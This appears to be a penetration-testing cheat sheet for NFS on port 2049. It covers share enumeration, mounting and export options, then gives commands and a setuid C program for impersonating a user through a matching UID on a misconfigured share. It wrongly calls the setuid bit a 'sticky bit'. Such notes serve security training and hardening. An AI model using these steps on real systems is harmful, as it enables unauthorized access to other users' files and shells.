PORT 2049/tcp - NFS

Network File System is a distributed file system protocol originally developed by Sun Microsystems in 1984, allowing a user on a client computer to access files over a computer network much like local storage is accessed.

Enumeration

showmount gives us the opportunity to know which folder are available for us.

showmount -e <IP>

Mounting the folder

We can mount the folder with mount command.

mount -t nfs [-o vers=2] <IP>:<NFS_FOLDER> <LOCAL_FOLDER> -o nolock

Configuration

The file /etc/exports show the NFS configuration applied on the server.

$ cat /etc/exports
/var/nfsshare *(rw,sync,root_squash,no_all_squash)
/opt *(rw,sync,root_squash,no_all_squash

  • rw: Means that we can read and write any file on the share.

  • root_squash (default): Maps all the requests from UID/GID 0 to the anonymous UID/GID.

  • no_root_squash: All requests from UID/GID 0 are not mapped to the anonymous UID/GID.

  • no_all_squash (default): Not map all the requests from other UID/GID to the anonymous UID/GID .

Note: If we have access to the server and a NFS share has this configuration, we can impersonate any user on the attack machine except for the root user.

Impersonate a User (No Root)

So what we’ll do is add the user frank (user to impersonate) on our kali machine and change his id to 1000 (Assigned on the target).

❯ useradd frank
❯ cat /etc/passwd | grep frank
frank:x:1000:1000::/home/frank:/bin/sh

Note: You can change any ID by modifying the /etc/passwd file.

Next step is create a setuid.c file:

#include <unistd.h>
int main()
{
    setreuid(1000,1000);
    execl("/bin/bash", "bash", (char *)NULL);
    return 0;
}

Then compile it:

gcc setuid.c -o setuid

Set the sticky bit on the file:

chmod u+s setuid

And execute it on the target machine.

References

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